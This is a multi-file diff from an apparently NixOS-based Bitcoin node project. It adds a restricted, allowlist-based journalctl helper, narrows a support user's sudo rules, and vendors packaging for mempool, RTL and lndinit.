# Only systems can evaluate without enabling any Bitcoin services.
|
||||
# Vendored nix-bitcoin is always imported via modules/vendor/nix-bitcoin/modules.nix.
|
||||
# This default satisfies the secrets assertion so Desktop-Only systems evaluate
|
||||
# without enabling any Bitcoin services.
|
||||
{
|
||||
nix-bitcoin.generateSecrets = lib.mkDefault true;
|
||||
}
|
||||
|
||||
@@ -136,7 +136,10 @@ let
|
||||
"electrs.service" = if pkgs ? electrs then pkgs.electrs.version else "0.10.6";
|
||||
"lnd.service" = if pkgs ? lnd then pkgs.lnd.version else "0.18.0";
|
||||
"rtl.service" = if pkgs ? clightning-rtl then pkgs.clightning-rtl.version else (if pkgs ? rtl then pkgs.rtl.version else "0.15.2");
|
||||
"btcpayserver.service" = if pkgs ? btcpayserver then pkgs.btcpayserver.version else "2.0.0";
|
||||
# BTCPay Server is intentionally sourced from pkgs.stable by the service
|
||||
# module. Read the configured package here rather than pkgs.btcpayserver
|
||||
# (unstable), otherwise the Hub can advertise a version that is not running.
|
||||
"btcpayserver.service" = lib.getVersion config.services.btcpayserver.package;
|
||||
"albyhub.service" = if pkgs ? albyhub then pkgs.albyhub.version else "1.8.0";
|
||||
"mempool.service" = if pkgs ? mempool then pkgs.mempool.version else "3.0.0";
|
||||
"matrix-synapse.service" = if pkgs ? matrix-synapse then pkgs.matrix-synapse.version else "1.115.0";
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Sovran restricted journal helper.
|
||||
|
||||
A root-owned, non-user-writable diagnostic tool that wraps journalctl with
|
||||
a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
|
||||
in tech-support.nix.
|
||||
|
||||
Accepted flags:
|
||||
--unit / -u <name> must be one of the explicitly approved service units
|
||||
--lines / -n <N> positive integer (max 10000)
|
||||
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
|
||||
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
|
||||
--output / -o <format> short | short-iso | cat | json | verbose
|
||||
|
||||
At least one ``--unit`` flag is required; whole-journal queries are rejected.
|
||||
All other flags, paths, directories, roots, namespaces, and output
|
||||
destinations are rejected with a non-zero exit code.
|
||||
"""
|
||||
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# ── Allowlists ────────────────────────────────────────────────────────────────
|
||||
|
||||
# Explicit approved units. Only these four services may be queried through
|
||||
# the restricted journal helper. Any other unit is rejected.
|
||||
_APPROVED_UNITS: frozenset[str] = frozenset([
|
||||
"sovran-hub-web.service",
|
||||
"caddy.service",
|
||||
"bitcoind.service",
|
||||
"lnd.service",
|
||||
])
|
||||
|
||||
_ALLOWED_PRIORITIES = frozenset([
|
||||
"0", "1", "2", "3", "4", "5", "6", "7",
|
||||
"emerg", "alert", "crit", "err", "warning", "notice", "info", "debug",
|
||||
])
|
||||
|
||||
_ALLOWED_OUTPUT_FORMATS = frozenset([
|
||||
"short", "short-iso", "cat", "json", "verbose",
|
||||
])
|
||||
|
||||
# ISO 8601 date or datetime: YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS (no paths)
|
||||
_DATETIME_RE = re.compile(r'^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}(:\d{2})?)?$')
|
||||
|
||||
_MAX_LINES = 10000
|
||||
|
||||
# ── Argument parser ───────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _die(msg: str) -> None:
|
||||
print(f"sovran-journal-helper: {msg}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def _validate_unit(val: str) -> str:
|
||||
if val not in _APPROVED_UNITS:
|
||||
_die(
|
||||
f"rejected unit name: {val!r} "
|
||||
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
|
||||
)
|
||||
return val
|
||||
|
||||
|
||||
def _validate_lines(val: str) -> str:
|
||||
try:
|
||||
n = int(val)
|
||||
except ValueError:
|
||||
_die(f"rejected: --lines must be a positive integer, got {val!r}")
|
||||
if n <= 0 or n > _MAX_LINES:
|
||||
_die(f"rejected: --lines must be between 1 and {_MAX_LINES}, got {n}")
|
||||
return str(n)
|
||||
|
||||
|
||||
def _validate_priority(val: str) -> str:
|
||||
if val not in _ALLOWED_PRIORITIES:
|
||||
_die(f"rejected priority: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_datetime(val: str) -> str:
|
||||
if not _DATETIME_RE.match(val):
|
||||
_die(f"rejected: datetime {val!r} (must be YYYY-MM-DD or YYYY-MM-DDTHH:MM:SS)")
|
||||
return val
|
||||
|
||||
|
||||
def _validate_output(val: str) -> str:
|
||||
if val not in _ALLOWED_OUTPUT_FORMATS:
|
||||
_die(f"rejected output format: {val!r}")
|
||||
return val
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = sys.argv[1:]
|
||||
cmd = ["journalctl"]
|
||||
unit_count = 0
|
||||
|
||||
i = 0
|
||||
while i < len(args):
|
||||
arg = args[i]
|
||||
|
||||
if arg in ("--unit", "-u"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--unit requires a value")
|
||||
cmd += ["--unit", _validate_unit(args[i])]
|
||||
unit_count += 1
|
||||
elif arg.startswith("--unit="):
|
||||
cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
|
||||
unit_count += 1
|
||||
|
||||
elif arg in ("--lines", "-n"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--lines requires a value")
|
||||
cmd += ["--lines", _validate_lines(args[i])]
|
||||
elif arg.startswith("--lines="):
|
||||
cmd += ["--lines", _validate_lines(arg[len("--lines="):])]
|
||||
elif re.match(r'^-n\d+$', arg):
|
||||
cmd += ["--lines", _validate_lines(arg[2:])]
|
||||
|
||||
elif arg in ("--priority", "-p"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--priority requires a value")
|
||||
cmd += ["--priority", _validate_priority(args[i])]
|
||||
elif arg.startswith("--priority="):
|
||||
cmd += ["--priority", _validate_priority(arg[len("--priority="):])]
|
||||
|
||||
elif arg == "--since":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--since requires a value")
|
||||
cmd += ["--since", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--since="):
|
||||
cmd += ["--since", _validate_datetime(arg[len("--since="):])]
|
||||
|
||||
elif arg == "--until":
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--until requires a value")
|
||||
cmd += ["--until", _validate_datetime(args[i])]
|
||||
elif arg.startswith("--until="):
|
||||
cmd += ["--until", _validate_datetime(arg[len("--until="):])]
|
||||
|
||||
elif arg in ("--output", "-o"):
|
||||
i += 1
|
||||
if i >= len(args):
|
||||
_die("--output requires a value")
|
||||
cmd += ["--output", _validate_output(args[i])]
|
||||
elif arg.startswith("--output="):
|
||||
cmd += ["--output", _validate_output(arg[len("--output="):])]
|
||||
|
||||
else:
|
||||
_die(
|
||||
f"rejected flag: {arg!r}. "
|
||||
"Allowed flags: --unit, --lines, --priority, --since, --until, --output"
|
||||
)
|
||||
|
||||
i += 1
|
||||
|
||||
if unit_count == 0:
|
||||
_die(
|
||||
"at least one --unit flag is required; "
|
||||
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
|
||||
)
|
||||
|
||||
result = subprocess.run(cmd)
|
||||
sys.exit(result.returncode)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -11,11 +11,10 @@
|
||||
# (u:sovran-support:---) by the Hub API as soon as a session is started.
|
||||
# • The Hub web UI lets the user grant time-limited access to wallet files
|
||||
# and view a full audit log of every session event.
|
||||
# • Scoped sudo rules allow support staff to edit custom.nix, trigger rebuilds,
|
||||
# restart services, and read logs — without full root or wallet access.
|
||||
#
|
||||
# The `acl` package provides the `setfacl` / `getfacl` utilities required by
|
||||
# the Hub's _apply_wallet_acls() and _revoke_wallet_acls() helpers.
|
||||
# • Scoped sudo rules allow support staff to restart specific services and
|
||||
# read logs — without full root, wallet access, Nix editing, or rebuilds.
|
||||
# • journalctl access is provided only through the root-owned
|
||||
# sovran-journal-helper script (see below) with an allowlist of safe flags.
|
||||
{
|
||||
# ── System packages ────────────────────────────────────────────────────────
|
||||
environment.systemPackages = [ pkgs.acl ];
|
||||
@@ -42,18 +41,40 @@
|
||||
"d /var/lib/sovran-support/.ssh 0700 sovran-support sovran-support -"
|
||||
];
|
||||
|
||||
# ── Restricted journal helper ─────────────────────────────────────────────
|
||||
# The helper is root-owned, not writable by any user, and accepts only a
|
||||
# narrow allowlist of safe journalctl flags. It is the sole mechanism by
|
||||
# which the support user may read journal logs.
|
||||
environment.etc."sovran/sovran-journal-helper.py" = {
|
||||
source = ./sovran-journal-helper.py;
|
||||
mode = "0500";
|
||||
user = "root";
|
||||
group = "root";
|
||||
};
|
||||
|
||||
# ── Scoped sudo rules for support staff ───────────────────────────────────
|
||||
# Grants only the minimum privileges needed for a support session.
|
||||
# Support staff cannot stop/disable/mask services or access wallet files.
|
||||
# Grants only the minimum privileges needed for diagnostic support.
|
||||
# Editing Nix configuration and running nixos-rebuild are intentionally
|
||||
# excluded: combining those two permissions provides a trivial path to
|
||||
# arbitrary root code execution. Systemctl access is limited to a small
|
||||
# allowlist of named service restart operations. journalctl is available
|
||||
# only through the restricted helper above.
|
||||
security.sudo.extraRules = [
|
||||
{
|
||||
users = [ "sovran-support" ];
|
||||
commands = [
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/custom.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nano /etc/nixos/configuration.nix"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/nixos-rebuild switch --flake /etc/nixos"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/journalctl *"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
|
||||
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
|
||||
# Restricted journal helper: accepts only safe flags (--unit, --lines,
|
||||
# --priority, --since, --until, --output). Rejects paths, directories,
|
||||
# namespaces, roots, and arbitrary output destinations.
|
||||
{ command = "/run/current-system/sw/bin/python3 /etc/sovran/sovran-journal-helper.py *"; options = [ "NOPASSWD" ]; }
|
||||
];
|
||||
}
|
||||
];
|
||||
|
||||
+1
-1
@@ -237,7 +237,7 @@ CREDS
|
||||
# idempotent without exposing this service credential in the Hub UI.
|
||||
HUB_ADMIN_CREDS="/var/lib/secrets/matrix-hub-admin"
|
||||
if [ ! -s "$HUB_ADMIN_CREDS" ]; then
|
||||
HUB_ADMIN_USER="sovran-hub-$(tr -dc 'a-z0-9' < /dev/urandom | head -c 20)"
|
||||
HUB_ADMIN_USER="sovran-hub-$(pwgen -sA0 20 1)"
|
||||
HUB_ADMIN_PASS=$(pwgen -s 32 1)
|
||||
if register_new_matrix_user -c /run/matrix-synapse/runtime-config.yaml \
|
||||
-u "$HUB_ADMIN_USER" -p "$HUB_ADMIN_PASS" -a http://localhost:8008; then
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# Vendored from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
# This is a modified version of
|
||||
# https://github.com/NixOS/nixpkgs/pull/128749
|
||||
|
||||
{ lib, stdenvNoCC, makeWrapper, nodejs, cacert }:
|
||||
|
||||
{ src
|
||||
, hash ? ""
|
||||
, runScripts ? false
|
||||
, preferLocalBuild ? true
|
||||
, npmFlags ? ""
|
||||
, ...
|
||||
} @ args:
|
||||
stdenvNoCC.mkDerivation ({
|
||||
inherit src preferLocalBuild;
|
||||
|
||||
name = "${src.name}-node_modules";
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
(if args ? nodejs then args.nodejs else nodejs)
|
||||
];
|
||||
|
||||
outputHashMode = "recursive";
|
||||
|
||||
impureEnvVars = lib.fetchers.proxyImpureEnvVars;
|
||||
|
||||
phases = "unpackPhase patchPhase buildPhase installPhase";
|
||||
|
||||
# npm doesn't support var `SSL_CERT_FILE`.
|
||||
NODE_EXTRA_CA_CERTS = "${cacert}/etc/ssl/certs/ca-bundle.crt";
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
|
||||
if [[ ! -f package.json ]]; then
|
||||
echo "Error: file `package.json` doesn't exist"
|
||||
exit 1
|
||||
fi
|
||||
if [[ ! -f package-lock.json ]]; then
|
||||
echo "Error: file `package-lock.json` doesn't exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
export SOURCE_DATE_EPOCH=1
|
||||
export npm_config_cache=/tmp
|
||||
NPM_FLAGS="--omit=dev --omit=optional --no-update-notifier $npmFlags"
|
||||
# Scripts may result in non-deterministic behavior.
|
||||
# Some packages (e.g., Puppeteer) use postinstall scripts to download extra data.
|
||||
if [[ ! $runScripts ]]; then
|
||||
NPM_FLAGS+=" --ignore-scripts"
|
||||
fi
|
||||
|
||||
echo "Running npm ci $NPM_FLAGS"
|
||||
npm ci $NPM_FLAGS
|
||||
|
||||
cp package.json \
|
||||
package-lock.json node_modules/
|
||||
rm -f node_modules/.package-lock.json
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
runHook preInstall
|
||||
|
||||
mkdir -p $out/lib
|
||||
cp -r node_modules $out/lib
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
} // (
|
||||
if hash == "" then {
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = "";
|
||||
} else {
|
||||
outputHash = hash;
|
||||
}
|
||||
) // (builtins.removeAttrs args [ "hash" ]))
|
||||
@@ -0,0 +1,19 @@
|
||||
{ lib, buildGoModule, fetchFromGitHub }:
|
||||
|
||||
buildGoModule rec {
|
||||
pname = "lndinit";
|
||||
version = "0.1.3-beta";
|
||||
src = fetchFromGitHub {
|
||||
owner = "lightninglabs";
|
||||
repo = pname;
|
||||
rev = "v${version}";
|
||||
sha256 = "sha256-sO1DpbppCurxr9g9nUl9Vx82FJK1mTcUw3rY1Fm1wEU=";
|
||||
};
|
||||
vendorHash = "sha256-El44BS5Bu0K/klMxkajciU/R6uqiXBMOiLN536QztbE=";
|
||||
subPackages = [ "." ];
|
||||
meta = with lib; {
|
||||
description = "Wallet initializer for lnd (from nix-bitcoin)";
|
||||
homepage = "https://github.com/lightninglabs/lndinit";
|
||||
license = licenses.mit;
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
From e4b3ebaf0451c1bddbd7dcf8527c296938ebb607 Mon Sep 17 00:00:00 2001
|
||||
From: Erik Arvstedt <erik.arvstedt@gmail.com>
|
||||
Date: Sun, 1 Jun 2025 11:17:22 +0200
|
||||
Subject: [PATCH] allow disabling mining pool fetching in offline environments
|
||||
|
||||
Previously, Mempool strictly required fetching mining pool data from
|
||||
Github and failed when this was not possible, e.g. in offline
|
||||
environments.
|
||||
|
||||
This patch allows disabling pool fetching.
|
||||
When disabled, empty pool data is inserted into the DB, which
|
||||
effectively turns off block pool classification.
|
||||
---
|
||||
backend/src/tasks/pools-updater.ts | 5 ++++-
|
||||
1 file changed, 4 insertions(+), 1 deletion(-)
|
||||
|
||||
diff --git a/backend/src/tasks/pools-updater.ts b/backend/src/tasks/pools-updater.ts
|
||||
index 6b0520dfc..a74259b95 100644
|
||||
--- a/backend/src/tasks/pools-updater.ts
|
||||
+++ b/backend/src/tasks/pools-updater.ts
|
||||
@@ -75,7 +75,7 @@ class PoolsUpdater {
|
||||
} else {
|
||||
logger.warn(`pools-v2.json is outdated, fetching latest from ${this.poolsUrl} over ${network}`, this.tag);
|
||||
}
|
||||
- const poolsJson = await this.query(this.poolsUrl);
|
||||
+ const poolsJson = (githubSha == "disable-pool-fetching") ? [] : await this.query(this.poolsUrl);
|
||||
if (poolsJson === undefined) {
|
||||
return;
|
||||
}
|
||||
@@ -136,6 +136,9 @@ class PoolsUpdater {
|
||||
* Fetch our latest pools-v2.json sha from github
|
||||
*/
|
||||
private async fetchPoolsSha(): Promise<string | null> {
|
||||
+ if (this.poolsUrl == "disable-pool-fetching") {
|
||||
+ return "disable-pool-fetching";
|
||||
+ }
|
||||
const response = await this.query(this.treeUrl);
|
||||
|
||||
if (response !== undefined) {
|
||||
--
|
||||
2.47.2
|
||||
@@ -0,0 +1,203 @@
|
||||
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
{ lib
|
||||
, stdenvNoCC
|
||||
, nodejs_22
|
||||
, nodejs-slim_22
|
||||
, fetchFromGitHub
|
||||
, fetchNodeModules
|
||||
, runCommand
|
||||
, makeWrapper
|
||||
, curl
|
||||
, cacert
|
||||
, rsync
|
||||
# for rust-gbt (backend module)
|
||||
, cargo
|
||||
, rustc
|
||||
, rustPlatform
|
||||
, napi-rs-cli
|
||||
}:
|
||||
rec {
|
||||
nodejs = nodejs_22;
|
||||
nodejsRuntime = nodejs-slim_22;
|
||||
|
||||
version = "3.2.1";
|
||||
|
||||
src = fetchFromGitHub {
|
||||
owner = "mempool";
|
||||
repo = "mempool";
|
||||
tag = "v${version}";
|
||||
hash = "sha256-O2XPD1/BXQnzuOP/vMVyRfmFZEgjA85r+PShWne0vqU=";
|
||||
};
|
||||
|
||||
nodeModules = {
|
||||
frontend = fetchNodeModules {
|
||||
inherit src nodejs;
|
||||
sourceRoot = "source/frontend";
|
||||
hash = "sha256-+jfgsAkDdYvgso8uSHaBj/sQL3fC/ABQWzVTXfdZcU0=";
|
||||
};
|
||||
backend = fetchNodeModules {
|
||||
inherit src nodejs;
|
||||
sourceRoot = "source/backend";
|
||||
hash = "sha256-y5l2SYZYK9SKSy6g0+mtTWD6JFkkdQHHBboECpEvWZ4=";
|
||||
};
|
||||
};
|
||||
|
||||
frontendAssets = fetchFiles {
|
||||
name = "mempool-frontend-assets";
|
||||
hash = "sha256-r6GfOY8Pdh15o2OQMk8syfvWMV6WMCReToAEkQm7tqQ=";
|
||||
fetcher = ./frontend-assets-fetch.sh;
|
||||
};
|
||||
|
||||
mempool-backend = mkDerivationMempool {
|
||||
pname = "mempool-backend";
|
||||
|
||||
patches = [ ./0001-allow-disabling-mining-pool-fetching.patch ];
|
||||
|
||||
buildPhase = ''
|
||||
cd backend
|
||||
${sync} --chmod=+w ${nodeModules.backend}/lib/node_modules .
|
||||
patchShebangs node_modules
|
||||
|
||||
${sync} ${mempool-rust-gbt}/ rust-gbt
|
||||
npm run package
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
mkdir -p $out/lib/mempool-backend
|
||||
${sync} package/ $out/lib/mempool-backend
|
||||
|
||||
makeWrapper ${nodejsRuntime}/bin/node $out/bin/mempool-backend \
|
||||
--add-flags $out/lib/mempool-backend/index.js
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
passthru = {
|
||||
inherit nodejs nodejsRuntime;
|
||||
nodeModules = nodeModules.backend;
|
||||
};
|
||||
};
|
||||
|
||||
mempool-frontend = mkFrontend {};
|
||||
|
||||
# Argument `config` (type: attrset) defines the mempool frontend config.
|
||||
# If `{}`, the default config is used.
|
||||
# See here for available options:
|
||||
# https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
|
||||
# (`interface Env` and `defaultEnv`)
|
||||
mkFrontend = config: mkDerivationMempool {
|
||||
pname = "mempool-frontend";
|
||||
|
||||
buildPhase = ''
|
||||
cd frontend
|
||||
|
||||
${sync} --chmod=+w ${nodeModules.frontend}/lib/node_modules .
|
||||
patchShebangs node_modules
|
||||
|
||||
# sync-assets.js is called during `npm run build` and downloads assets from the
|
||||
# internet. Disable this script and instead add the assets manually after building.
|
||||
: > sync-assets.js
|
||||
|
||||
${lib.optionalString (config != {}) ''
|
||||
ln -s ${builtins.toFile "mempool-frontend-config" (builtins.toJSON config)} mempool-frontend-config.json
|
||||
''}
|
||||
|
||||
npm run build
|
||||
|
||||
# Add assets that would otherwise be downloaded by sync-assets.js
|
||||
${sync} ${frontendAssets}/ dist/mempool/browser/resources
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
${sync} dist/mempool/browser/ $out
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
passthru = {
|
||||
withConfig = mkFrontend;
|
||||
assets = frontendAssets;
|
||||
nodeModules = nodeModules.frontend;
|
||||
};
|
||||
};
|
||||
|
||||
mempool-rust-gbt = stdenvNoCC.mkDerivation rec {
|
||||
pname = "mempool-rust-gbt";
|
||||
inherit version src meta;
|
||||
|
||||
sourceRoot = "source/rust/gbt";
|
||||
|
||||
nativeBuildInputs = [
|
||||
rustPlatform.cargoSetupHook
|
||||
cargo
|
||||
rustc
|
||||
napi-rs-cli
|
||||
];
|
||||
|
||||
cargoDeps = rustPlatform.fetchCargoVendor {
|
||||
inherit src;
|
||||
name = "${pname}-${version}";
|
||||
inherit sourceRoot;
|
||||
hash = "sha256-eox/K3ipjAqNyFt87lZnxaU/okQLF/KIhqXrX86n+qw=";
|
||||
};
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
# napi doesn't accept an absolute path as dest dir, so we can't directly write to $out
|
||||
napi build --platform --release --strip out
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
mv out $out
|
||||
cp package.json $out
|
||||
'';
|
||||
|
||||
passthru = { inherit cargoDeps; };
|
||||
};
|
||||
|
||||
mempool-nginx-conf = runCommand "mempool-nginx-conf" {} ''
|
||||
${sync} --chmod=u+w ${./nginx-conf}/ $out
|
||||
${sync} ${src}/production/nginx/http-language.conf $out
|
||||
'';
|
||||
|
||||
sync = "${rsync}/bin/rsync -a --inplace";
|
||||
|
||||
mkDerivationMempool = args: stdenvNoCC.mkDerivation ({
|
||||
inherit version src meta;
|
||||
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
nodejs
|
||||
rsync
|
||||
];
|
||||
|
||||
phases = "unpackPhase patchPhase buildPhase installPhase";
|
||||
} // args);
|
||||
|
||||
fetchFiles = { name, hash, fetcher }: stdenvNoCC.mkDerivation {
|
||||
inherit name;
|
||||
outputHashMode = "recursive";
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = hash;
|
||||
nativeBuildInputs = [ curl cacert ];
|
||||
buildCommand = ''
|
||||
mkdir $out
|
||||
cd $out
|
||||
${builtins.readFile fetcher}
|
||||
'';
|
||||
};
|
||||
|
||||
meta = with lib; {
|
||||
description = "Bitcoin blockchain and mempool explorer";
|
||||
homepage = "https://github.com/mempool/mempool/";
|
||||
license = licenses.agpl3Plus;
|
||||
maintainers = with maintainers; [ erikarvstedt ];
|
||||
platforms = platforms.unix;
|
||||
};
|
||||
}
|
||||
Executable
+28
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Fetch hash-locked versions of assets that are dynamically fetched via
|
||||
# https://github.com/mempool/mempool/blob/master/frontend/sync-assets.js
|
||||
# when running `npm run build` in the frontend.
|
||||
#
|
||||
# This file is updated by ./frontend-assets-update.sh
|
||||
|
||||
declare -A revs=(
|
||||
["mempool/mining-pool-logos"]=53972ebbd08373cf4910cbb3e6421a1f3bba4563
|
||||
)
|
||||
|
||||
fetchFile() {
|
||||
repo=$1
|
||||
file=$2
|
||||
rev=${revs["$repo"]}
|
||||
curl -fsS "https://raw.githubusercontent.com/$repo/$rev/$file"
|
||||
}
|
||||
|
||||
fetchRepo() {
|
||||
repo=$1
|
||||
rev=${revs["$repo"]}
|
||||
curl -fsSL "https://github.com/$repo/archive/$rev.tar.gz"
|
||||
}
|
||||
|
||||
mkdir mining-pools
|
||||
fetchRepo "mempool/mining-pool-logos" | tar xz --strip-components=1 -C mining-pools
|
||||
@@ -0,0 +1,47 @@
|
||||
# Settings adapted from
|
||||
# https://github.com/mempool/mempool/blob/v3.2.1/production/nginx/server-common.conf
|
||||
|
||||
# see order of nginx location rules
|
||||
# https://stackoverflow.com/questions/5238377/nginx-location-priority
|
||||
|
||||
# for exact / requests, redirect based on $lang
|
||||
# cache redirect for 5 minutes
|
||||
location = / {
|
||||
if ($lang != '') {
|
||||
return 302 $scheme://$host/$lang/;
|
||||
}
|
||||
try_files /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
|
||||
# cache /<lang>/main.f40e91d908a068a2.js forever since they never change
|
||||
location ~ ^/([a-z][a-z])/(.+\..+\.(js|css))$ {
|
||||
try_files $uri =404;
|
||||
expires 1y;
|
||||
}
|
||||
# cache everything else for 5 minutes
|
||||
location ~ ^/([a-z][a-z])$ {
|
||||
try_files $uri /$1/index.html /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
location ~ ^/([a-z][a-z])/ {
|
||||
try_files $uri /$1/index.html /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
|
||||
# cache /resources/** for 1 week since they don't change often
|
||||
location /resources {
|
||||
try_files $uri /en-US/index.html;
|
||||
expires 1w;
|
||||
}
|
||||
# cache /main.f40e91d908a068a2.js forever since they never change
|
||||
location ~* ^/.+\..+\.(js|css)$ {
|
||||
try_files /$lang/$uri /en-US/$uri =404;
|
||||
expires 1y;
|
||||
}
|
||||
# catch-all for all URLs i.e. /address/foo /tx/foo /block/000
|
||||
# cache 5 minutes since they change frequently
|
||||
location / {
|
||||
try_files /$lang/$uri $uri /en-US/$uri /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
{ lib
|
||||
, stdenvNoCC
|
||||
, nodejs_22
|
||||
, nodejs-slim_22
|
||||
, fetchNodeModules
|
||||
, fetchurl
|
||||
, makeWrapper
|
||||
}:
|
||||
let self = stdenvNoCC.mkDerivation {
|
||||
pname = "rtl";
|
||||
version = "0.15.8";
|
||||
|
||||
src = fetchurl {
|
||||
url = "https://github.com/Ride-The-Lightning/RTL/archive/refs/tags/v${self.version}.tar.gz";
|
||||
hash = "sha256-8XdGyORxB2dkZRB/Yl7zh+Quqo4L/Y0VmC6Brbr/hqU=";
|
||||
};
|
||||
|
||||
passthru = {
|
||||
nodejs = nodejs_22;
|
||||
nodejsRuntime = nodejs-slim_22;
|
||||
|
||||
nodeModules = fetchNodeModules {
|
||||
inherit (self) src nodejs;
|
||||
# TODO-EXTERNAL: Remove `npmFlags` when no longer required
|
||||
# See: https://github.com/Ride-The-Lightning/RTL/issues/1182
|
||||
npmFlags = "--legacy-peer-deps";
|
||||
hash = "sha256-oMqd6nLzS6iQ9w4z2yzpR2unA5qhOq5YdvfoS8IgYLY=";
|
||||
};
|
||||
};
|
||||
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
];
|
||||
|
||||
phases = "unpackPhase patchPhase installPhase";
|
||||
|
||||
# `src` already contains the precompiled frontend and backend.
|
||||
# Copy all files required for packaging, like in
|
||||
# https://github.com/Ride-The-Lightning/RTL/blob/master/dockerfiles/Dockerfile
|
||||
installPhase = ''
|
||||
dest=$out/lib/node_modules/rtl
|
||||
mkdir -p $dest
|
||||
cp -r \
|
||||
rtl.js \
|
||||
package.json \
|
||||
frontend \
|
||||
backend \
|
||||
${self.nodeModules}/lib/node_modules \
|
||||
$dest
|
||||
|
||||
makeWrapper ${self.nodejsRuntime}/bin/node "$out/bin/rtl" \
|
||||
--add-flags "$dest/rtl.js"
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
meta = with lib; {
|
||||
description = "A web interface for LND, c-lightning and Eclair";
|
||||
homepage = "https://github.com/Ride-The-Lightning/RTL";
|
||||
license = licenses.mit;
|
||||
maintainers = with maintainers; [ nixbitcoin erikarvstedt ];
|
||||
platforms = platforms.unix;
|
||||
};
|
||||
}; in self
|
||||
@@ -283,6 +283,36 @@ git add VERSION
|
||||
git commit -m "chore: bump VERSION to ${TAG} for ISO naming" || true
|
||||
echo -e " ${GREEN}✓${NC} VERSION file updated to ${VERSION}"
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 2b: Auto-update README.md ISO download references
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 2b: Updating README.md ISO references to ${VERSION}...${NC}"
|
||||
|
||||
README_FILE="README.md"
|
||||
if [ -f "$README_FILE" ]; then
|
||||
# Extract the version currently used in the README's ISO filenames,
|
||||
# e.g. "Sovran_SystemsOS-1.0.6.iso" -> "1.0.6"
|
||||
